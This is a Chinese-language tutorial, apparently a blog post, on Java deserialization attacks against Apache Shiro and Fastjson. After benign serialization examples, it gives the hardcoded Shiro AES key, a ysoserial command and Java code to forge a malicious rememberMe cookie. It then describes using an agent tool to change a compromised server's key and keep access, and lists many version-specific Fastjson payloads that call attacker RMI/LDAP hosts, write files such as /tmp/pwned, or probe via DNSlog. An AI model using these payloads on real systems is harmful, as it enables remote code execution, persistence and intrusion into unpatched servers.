什么是序列化与反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程。
Java 反序列化是指把字节序列恢复为 Java 对象的过程。
序列化的作用
实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上。
利用序列化实现远程通信,即在网络上传递对象的字节序列。
序列化与反序列化实现
JDK 类库中的序列化 API: 使用到 JDK 中关键类 ObjectOutputStream(对象输出流) 和 ObjectInputStream(对象输入流) ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。 ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。
目标对象实现 Serializable 接口 新建一个 Users 类,实现 Serializable 接口,并且生成版本号
package org.joychou.test;
import java.io.Serializable;
public class Users implements Serializable {
private static final long serialVersionUID = 3919559144903359124L;
private int age;
private String name;
private String sex;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public String getSex() {
return sex;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setSex(String sex) {
this.sex = sex;
}
@Override
public String toString() {
return "Users{" +
"age=" + age +
", name='" + name + '\'' +
", sex='" + sex + '\'' +
'}';
}
}
复制代码
serialVersionUID 序列化版本号的作用是用来区分我们所编写的类的版本,取值是 Java 运行时环境根据类的内部细节自动生成的。如果对类的源代码作了修改,再重新编译,新生成的类文件的 serialVersionUID 的取值有可能也会发生变化。
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥信息收集 80 条搜索语法
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年 CTF 夺旗赛题解析
序列化和反序列化 Person 类对象
package org.joychou.test;
import java.io.*;
public class TestObjSerializeAndDeserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
TestObjSerializeAndDeserialize.SerializeUsers();
TestObjSerializeAndDeserialize.DeserializeUsers();
}
private static void SerializeUsers() throws IOException {
Users users = new Users();
users.setAge(20);
users.setName("Tom");
users.setSex("male");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/Users.ser"));
objectOutputStream.writeObject(users);
System.out.println("序列化完成!");
objectOutputStream.close();
}
private static void DeserializeUsers() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("Users/xxxx/Desktop/Users.ser"));
Users users = (Users) objectInputStream.readObject();
System.out.println("反序列化完成");
System.out.println(users.toString());
}
}
复制代码
结果: [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jrVLtf27-1657698173516)(https://upload-images.jianshu.io/upload_images/26472780-81e78b2eeef38dcf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
cat 查看序列化后的二进制文件数据,Java 的为乱码
0x01 常见的存在反序列化漏洞框架
Shiro
Shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下 Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms
Subject:代表当前的用户 SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心 Realms:SecurityManager 的认证和授权需要使用 Realm,Realm 负责获取用户的权限和角色等信息,再返回给 SecurityManager 来进行判断,在配置 Shiro 的时候,我们必须指定至少一个 Realm 来实现认证(authentication)和/或授权(authorization) 我们需要实现 Realms 的 Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等 下面是自己实现的 Realm,这里我们实现了认证的方法 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-spuyV99P-1657698173528)(https://upload-images.jianshu.io/upload_images/26472780-2aa78494808fb11b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码
我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin 那么就返回 AuthenticationInfo AuthenticationInfo 会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败
Shiro-550 漏洞原理
在 Shiro 框架下,用户登陆成功后会生成一个经过加密的 Cookie。其 Cookie 的 Key 的值为 RememberMe,Value 的值是经过序列化、AES 加密和 Base64 编码后得到的结果。 服务端在接收到一个 Cookie 时,会按照如下步骤进行解析处理:
检索 RememberMe Cookie 的值
进行 Base64 解码
进行 AES 解码
进行反序列化操作,sink 点 readObject()。
在第 4 步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。 由于使用了 AES 加密,成功利用该漏洞需要获取 AES 的加密密钥,在 Shiro1.2.4 版本之前 AES 的加密密钥为硬编码,其默认密钥的 Base64 编码后的值为 kPH+bIxk5D2deZiIxcaaaA==
漏洞检测
Shiro 主要检测思路有三种
第一种是使用 yso 下的 URLDNS 利用链进行检测
第二种是使用 yso 下 cc 利用链进行盲打,生成 ping dnslog payload,如果 key 正确,dnslog 会收到请求
前面两种思路都是使用 dnslog 进行测试,但是如果我们的目标不出网的情况下,只能使用 CC 链盲打,判断延迟。这种情况也会存在一些小问题,如果目标不出网,同时利用链不是 CC 的情况下,我们就会错过一些漏洞。其实在很多的文章里面都提到了一种思路,构造一个继承 PrincipalCollection 的序列化对象(SimplePrincipalCollection),将我们的 payload 放进 rememberMe 里面,key 正确情况下 Set-Cookie 不返回 deleteMe,key 错误情况下 Set-Cookie 返回 deleteMe。
原理: 首先看一下为什么当 key 错误时,Set-Cookie 会返回 deleteMe。 找到我们的shiro-core/1.2.4/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class
,这个类主要是用来处理 rememberMe 的逻辑代码,核心点在AbstractRememberMeManager#getRememberedPrincipals
这段代码中。
在 118 行设置断点 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WqqHHN1V-1657698173537)(https://upload-images.jianshu.io/upload_images/26472780-8872e26521024ee0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
下面我们开始 debug,启动项目
下面我们分别来看两种情况
当 AES 的 key 不正确的情况下
把 rememberMe 的值改成 1
调用convertBytesToPrincipals
方法,跟进convertBytesToPrincipals
方法
发现 137 行调用了 decrypt 解密
然后 167 行接着调用解密
AES 解密算法,因为我们的 key 错误,这里直接抛异常了
直接被上一部分的代码捕捉到
跟进我们的核心代码onRememberedPrincipalFailure
方法,继续跟进forgetIdentity
方法
在forgetIdentity
方法当中从subjectContext
对象获取request
和response
,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response)
这个构造方法处理。
跟进forgetIdentity(HttpServletRequest request, HttpServletResponse response)
,看到一个removeFrom
方法。
继续跟进removeFrom
方法,发现了给我们的Cookie
增加deleteMe
字段的位置了
结果:
key 正确的情况下,不返回deleteMe
,可以自行调试 key 正确,会使用deserialize
方法进行反序列化,PrincipalCollection
是个接口 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rKT2BGQn-1657698173570)(https://upload-images.jianshu.io/upload_images/26472780-a09832e0cb00364f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
所以我们需要构造一个继承PrincipalCollection
的序列化对象 Poc:
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
复制代码
漏洞复现
使用 SpringBoot,Shiro-1.2.24 搭建测试环境
因为 yso 中使用的是 commons-beanutils-1.9.2,而 shiro core 中使用的是 commons-beanutils1.8.3,我们使用改造后的 ysoserial 生成 CommonsBeanutils_183 的 Gadget
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser
复制代码
使用 Shiro 内置的默认密钥对 Payload 进行加密:
package ysoserial.util;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class AESencode {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/xxxxx/ysoserial-new/poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
复制代码
发送生成的 rememberMe Cookie,命令执行成功:
Shiro 后渗透-使用 Agent 技术修改 key
什么是 java agent?
在 JDK1.5 以后,我们可以使用 agent 技术构建一个独立于应用程序的代理程序(即为 Agent),用来协助监测、运行甚至替换其他 JVM 上的程序。Agent 分为两种,一种是在主程序之前运行的 Agent,一种是在主程序之后运行的 Agent(前者的升级版,1.6 以后提供)。
学习 Java Agent 除了可以做RASP
等产品,我们还可以做一些趣味性事情,比如我们可以使用 Agent 机制实现 Java 商业软件破解,我们常用的IntelliJ IDEA破解工具
就是使用 Agent 方式动态修改 License 类校验逻辑来实现破解的。
为什么要获取 shiro 的 key?
可以方便我们快速的实现内网横向,毕竟 shiro 这个漏洞利用已经非常非常成熟了。
可以将这个 key 加入我们 key 字典中,方便之后的项目中测试。
如果我们修改 key,但我们一失手忘记掉了 key,也还要补救的措施。
如果点掉了,可以通过 shiro 这个入口快速重新切进去。
使用 demo 环境进行测试:
首先可以确定环境的 key 是默认的,并且是可以执行命令的。
上传 AgentInjectTool 到目标服务器,执行命令java -jar AgentInjectTool.jar list
,获取 shiro 环境启动的 pid.
执行命令java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey}
触发获取 key 操作,需要我们手动发送请求登录请求,无论正确与否均可。比例说使用工具的检测当前密钥功能
生成新 key,尝试注入
新 key 测试成功
修改 shirokey 原理:
通过 Java Agent,我们可以 hook 想要的所有类,并且也能修改其代码逻辑,加入自己想要的功能。修改 shiro 的 key 需要调用内存中的 AbstractRememberMeManager 对象的 setCipherKey 方法,才能实现修改 shiro 的 key 的目的。
缺点: 由于已经用了新 key,已登录的用户会话会失效,导致影响业务,慎重使用。
Fastjson
漏洞原理
FastJson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
autotype 功能:允许用户在反序列化数据中通过“@type”指定反序列化的 Class 类型。
通俗理解就是:漏洞利用 fastjson autotype 在处理 json 对象的时候,未对 @type 字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 rmi 主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
AutoType 黑名单机制 既然 Json 串中传入指定不可靠第三方 Type 类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的 Class 是否在黑名单 Class 列表中,FastJson 中通过 Hash 算法,将一系列存在安全风险的 Class 全路径的 Hash 值存储在黑名单中,代码如下
Fastjson 低版本 1.2.25-1.2.42 明文黑名单。
判断 fastjson 和 jackson
如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
复制代码
这里 fastjson 是不会报错的
Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显
漏洞 poc
有回显 如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有 fastjson 的字样
无回显,通过 DNS 回显的方式盲区分 Fastjson 和 Jackson,使用以下 payload 测试
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
复制代码
最新版本 1.2.67 依然可以通过 dnslog 判断后端是否使用 fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
复制代码
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
复制代码
嵌套在里面 zeo 里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
复制代码
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:
复制代码
通过 DOS 延迟方式判断
Fastjson1.2.36 - 1.2.62 正则表达式拒绝服务漏洞
{"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
复制代码
Fastjson < 1.2.60 在取不到值的时候会填充\u001a
,使用{"a:"\x
进行请求就会发生 DOS
漏洞 exp
多版本 payload 影响版本:fastjson<=1.2.24 exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
复制代码
影响版本:fastjson<=1.2.41 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
复制代码
影响版本:fastjson<=1.2.42 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
复制代码
影响版本:fastjson<=1.2.43 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
复制代码
影响版本:fastjson<=1.2.45 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"ldap://localhost:1399/Exploit"}}
复制代码
影响版本:fastjson<=1.2.47 exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
复制代码
影响版本:fastjson<=1.2.62 exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
复制代码
影响版本:fastjson<=1.2.66 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
复制代码
影响版本:fastjson<=1.2.68 JRE 8 下的写文件利用链 PoC,这个利用链仅仅存在 centos 中,sun.rmi.server.MarshalOutputStream 在 win 下是没有的
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}
复制代码
commons-io 2.0 - 2.6 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
复制代码
commons-io 2.7 - 2.8.0 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
复制代码
总结:
jndi(需要出网)
JdbcRowSetImpl
C3p0#JndiRefForwardingDataSource
JndiDataSourceFactory
shiro#JndiObjectFactory
shiro#JndiRealmFactory
BCEL(不出网利用。 需要注意在 Java 8u251 以后,bcel 类被删除) BCEL 的全名应该是 Apache Commons BCEL,属于 Apache Commons 项目下的一个子项目,BCEL 库提供了一系列用于分析、创建、修改 Java Class 文件的 API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比 Commons Collections 特殊的一点是,它被包含在了原生的 JDK 中,位于com.sun.org.apache.bcel
Poc:
{ { "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", //这里是tomcat>8的poc,如果小于8的话用到的类是 //org.apache.tomcat.dbcp.dbcp.BasicDataSource "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..."
评论